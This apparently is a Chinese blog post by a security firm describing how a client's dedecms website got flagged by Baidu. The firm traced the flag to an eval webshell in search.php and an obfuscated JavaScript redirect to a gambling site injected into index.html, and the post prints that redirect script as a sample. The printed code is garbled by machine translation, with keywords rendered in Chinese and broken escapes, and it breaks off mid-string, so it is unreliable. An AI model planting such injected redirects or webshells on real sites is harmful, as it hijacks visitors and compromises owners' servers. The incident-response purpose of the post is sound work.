临近2019年底,客户的公司网站被百度网址安全中心拦截了,公司网站彻底打不开了,影响范围很大,于是通过朋友介绍找到我们正弦安全公司寻求帮忙解封,关于如何解除百度的安全拦截提示,下面就将我们正弦安全的解决办法分享给大家,希望能对您有所帮助。
事件回忆:12月初,客户刚从公司下班回家,接到领导的电话说是网站在百度怎么打不开了,客户第一时间用手机访问网站,发现网站正常,随后又用百度去搜索公司网站域名,发现网站竟然被百度网址安全中心拦截了并提示:违法违规网页,建议关闭,您访问的是://公司域名,此网页可能为违法违规网页,包含非法信息以及不健康内容,请谨慎访问。如下图所示:
整个客户公司的网站在百度无法打开,彻底的被百度拦截掉了,百度提示的肯定是有原因的,我们正弦安全工程师通过百度搜索发现,网站在搜索结果里被标注了:
百度网址安全中心提醒您:该站点可能受到黑客攻击,部分页面已被非法篡改!下图所示:
点击去后,弹出百度的拦截页面,提示:该站点可能由于受到黑客攻击,部分页面已被非法篡改,可能会威胁到您的财产和信息安全,建议您谨慎访问。我们处理了太多像这种情况的网站了,我们打开百度网址安全中心https://bsb.baidu.com/扫描看一下是什么原因导致网站被百度拦截,输入客户公司网址点查询,发现网站被标记危险,并提示:危险,网站网页中含有恶意信息!
这说明网站里含有恶意内容的信息被百度检测到的了,但是百度并没有指出到底是哪个网站页面存在恶意信息,看到百度旗下还有个百度云观测的产品,注册免费使用,检测网站的安全情况,没有检测到网站出现安全问题。到底含有恶意内容的信息在哪里?该怎么查找,根据我们正弦安全多年的经验,通过百度的工具以及发送邮件,申诉等通道是获取不到具体的恶意信息链接,百度只是官方的回复一下,具体问题的根源在哪里,得自己动手去查找代码,以及公司网站在百度的收录情况。
发现了问题,客户公司网站在百度的快照内容被篡改了,是一些彩朴内容,既然已经知道网站里含有恶意信息。那就从网站代码开始入手,客户网站使用的是开源的dedecms织梦系统,php + mysql数据库,从服务器压缩了一份,下载到本地的电脑,开始检查源代码,每一行,每一个代码都不要放过,对比客户之前网站备份代码,发现+下的search.php被篡改了,多出来一些eval一句话木马代码,也叫网站管理权限。
客户的网站首页文件index . html也被篡改添加了代码,尤其标题描述都被篡改了,从百度里搜索点击到客户公司网站,自动跳转到了彩朴网站上去了。这跟index . html被篡改是对应的,我们正弦安全贴出代码让大家看一下:
& lt;脚本类型=拔谋?javascript"在eval(函数(p, a、c、k、e、d) {e=函数(c){返回(c<?““: e (par
seInt (c/a))) + ((c=c %)在35 ? String.fromCharCode (c + 29): c.toString(36)};如果(! & # 39;& # 39;.replace(/^、圣
环)){而(c -) d (e (c))=k [c] | | e (c); k=[函数(e){返回d [e]}]; e=函数(){返回# 39;\ \ w + & # 39;}, c=
1;}; (c))如果(k [c]) p=p。取代(新RegExp (& # 39; \ \ b # 39; + e (c) + & # 39; \ \ b # 39;, & # 39;舌鳎# 39;),k [c]);返回p;} (l & # 39; [k“\ \ \ \ \ \ 1 \
9 m\ \ \ \ \ 7 \ \ \ \ 0“阿](“\ \ n \ \ 4 0 8 \ \ \ \ \ \ 7“) (\ & # 39; \ \ e 1 \ \ 2 \ \ \ \ 4 \ \ 8 \ \ 5 \ \ 0 \ \ \ \ \ \ 5 \ \ 7 c \ \ \ \ \ \ 6 0 j 7 \ \ \ \ \ \ \ \ 3 f \ \ \ \ b \ \ b \ \ 2 \ \ \ u
\ 1 \ \ 4 \ \ 8 0 \ \ \ \ 5 \ \ 6 1 \ \ 2 \ \ 4 \ \ \ \ t c \ \ 6 \ \ \ \ \ \ 0 \ \ 5 \ \ w \ \ 3 \ \ \ \ \ \ \ \ p \ \ s h \ \ r \ \ \ \ 1 \ \ \ \ 9 \ \ 3 g g \ \ \ \ \ \ h f \ \ \ \ 2 \ \ 6 \ \ d \ \
